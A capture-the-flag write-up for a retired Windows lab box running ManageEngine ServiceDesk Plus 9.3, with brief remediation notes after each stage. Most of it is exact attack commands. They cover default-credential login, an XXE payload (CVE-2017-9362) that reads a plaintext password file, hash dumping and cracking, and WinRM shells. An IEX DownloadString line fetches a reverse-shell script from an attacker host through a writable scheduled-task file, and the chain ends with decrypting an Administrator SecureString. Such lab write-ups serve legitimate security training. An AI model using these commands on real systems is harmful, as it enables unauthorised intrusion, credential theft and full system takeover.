Helpline
Summary
I found ManageEngine ServiceDesk Plus 9.3 exposed on port 8080 and authenticated with the factory-default guest account, requiring no credential research. Inside the portal a 'Password Audit' solution ticket's Excel attachment contained a hidden worksheet naming a plaintext credential file on disk. Exploiting CVE-2017-9362, an XML External Entity flaw in SDP's CMDB API, I used that guest session to read the file and extract three Windows account passwords.
One (alice) gave an immediate WinRM shell, from which the SDP-bundled PostgreSQL instance was queried and application-user bcrypt hashes were dumped and cracked against a common wordlist. The cracked accounts' file-system access — NTFS Alternate Data Streams and EFS-encrypted files — surfaced the password for user tolu, whose user flag required a CredSSP-authenticated WinRM session. A privileged PowerShell scheduled script executed content from a file tolu could write to; injecting a reverse-shell payload triggered code execution as leo.
From leo, a BitLocker-protected virtual disk held the Administrator password as a PowerShell SecureString; decrypting it exposed the final credential and delivered full system control.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"Some commands also carry a value in angle brackets — <ci>, <name>, <recovery_key>, <vhd_mount> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 2
Version detection across all open ports; confirms SDP 9.3 on 8080, WinRM on 5985, SMB on 445, VNC on 5900.
$ nmap -sV -sC -p 135,445,5900,5985,8080,49667 $TARGET -oN helpline_scan.txtGrab the HTTP banner to confirm the SDP application and version string.
$ curl -i http://$TARGET:8080/Exact commands 3
Log in with default credentials; saves the session cookie to sdp.cookies.
$ curl -c sdp.cookies -b sdp.cookies -X POST "http://$TARGET:8080/j_security_check" -d 'j_username=guest&j_password=guest' -LList attachments on the Password Audit solution ticket (ID 8).
$ curl -c sdp.cookies -b sdp.cookies "http://$TARGET:8080/api/v3/solutions/8/attachments"Download the attachment; open in LibreOffice Calc and use Format > Sheets > Show to reveal the hidden 'Password Data' sheet containing the it_logins.txt path.
$ curl -c sdp.cookies -b sdp.cookies "http://$TARGET:8080/api/v3/attachments/301" -o 'PasswordAudit.xlsx'FixDisable the default SDP guest account before production deploymentCritical
Exact commands 1
Send XXE payload as the authenticated guest user; the credential file contents appear in the XML error response body.
$ curl -c sdp.cookies -b sdp.cookies -X POST "http://$TARGET:8080/api/cmdb/ci" -H 'Content-Type: application/xml' -d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///C:/Temp/Password%20Audit/it_logins.txt">]><ci><name>&xxe;</name></ci>'FixUpgrade ServiceDesk Plus to a build that resolves CVE-2017-9362Critical
Exact commands 3
Validate alice's credentials over WinRM; expect Pwn3d.
$ nxc winrm $TARGET -u alice -p "$PASSWORD3"Open an interactive PowerShell session as alice.
$ evil-winrm -i $TARGET -u alice -p "$PASSWORD3"Run inside the evil-winrm session. Dumps all SDP user bcrypt hashes from the embedded PostgreSQL instance.
$ & 'E:\ManageEngine\ServiceDesk\pgsql\bin\psql.exe' -h 127.0.0.1 -p 65432 -U postgres -d servicedesk -c "SELECT u.user_name, p.password FROM aaauser u JOIN aaapassword p ON u.user_id = p.password_id;"FixRemove plaintext credential files from disk and replace with a secrets managerCritical
Exact commands 5
Crack the dumped hashes. Recovers zachary_33258's password, fiona's password, mary's password.
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt sdp_hashes.txtValidate cracked credentials over SMB; repeat for fiona and mary.
$ nxc smb $TARGET -u zachary_33258 -p "$PASSWORD4"Run inside evil-winrm as zachary or fiona to enumerate NTFS Alternate Data Streams across user directories.
$ cmd /c "dir /r C:\Users"Enumerate all EFS-encrypted files accessible to the current user; inspect for credential stores or documents containing further passwords.
$ cipher /u /nCredSSP authentication is mandatory; plain NTLM WinRM returns a permissions error. Output is <user.txt>. Requires: pip install pypsrp requests-credssp.
$ python3 - <<PY
from pypsrp.client import Client
c = Client("$TARGET", username='HELPLINE\\tolu', password="$PASSWORD2", ssl=False, auth='credssp', connection_timeout=30, read_timeout=60)
out, streams, had_errors = c.execute_ps('Get-Content -LiteralPath C:\\Users\\tolu\\Desktop\\user.txt')
print(out)
PYFixEnforce strong passwords for SDP application accounts and eliminate reuse with Windows credentialsHigh
Exact commands 4
Open a WinRM session as tolu (standard NTLM works for lateral movement; CredSSP was only required to read user.txt).
$ evil-winrm -i $TARGET -u tolu -p "$PASSWORD2"Run inside tolu's session. Replace $ATTACKER_IP with your listener host. Host a PowerShell reverse shell payload as rev.ps1.
$ Add-Content -Path 'E:\Scripts\backups.txt' -Value 'IEX(New-Object Net.WebClient).DownloadString("http://'"$ATTACKER_IP"'/rev.ps1")'Serve rev.ps1 from my machine while waiting for the scheduled task to fire.
$ python3 -m http.server 80Catch the reverse shell that executes as leo when SDP_Checks.ps1 next runs and IEX's backups.txt.
$ nc -lvnp 4444FixRemove write access to files consumed by privileged scheduled tasksHigh
Exact commands 4
From leo's session: unlock the BitLocker VHD using the recovery key found in leo-accessible files. Then run Mount-DiskImage '<VHD_path>' in PowerShell to mount it.
$ manage-bde -unlock <VHD_path_or_volume> -RecoveryPassword <recovery_key>Decrypt the Administrator SecureString from the mounted VHD. Outputs: <withheld>.
$ $cred = Import-Clixml '<vhd_mount>\admin_cred.xml'; $cred.GetNetworkCredential().PasswordValidate the recovered Administrator password — expect Pwn3d.
$ nxc winrm $TARGET -u administrator -p "$PASSWORD"CredSSP session as Administrator. Output is <root.txt>.
$ python3 - <<PY
from pypsrp.client import Client
c = Client("$TARGET", username='HELPLINE\\administrator', password="$PASSWORD", ssl=False, auth='credssp', connection_timeout=30, read_timeout=60)
out, streams, had_errors = c.execute_ps('Get-Content -LiteralPath C:\\Users\\Administrator\\Desktop\\root.txt')
print(out)
PYFixDo not persist Administrator credentials as a PowerShell SecureString on diskCritical
Exposed services
| 135/tcp | msrpc Microsoft Windows RPC |
| 445/tcp | microsoft-ds? |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 8080/tcp | http recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 5900/tcp | vnc |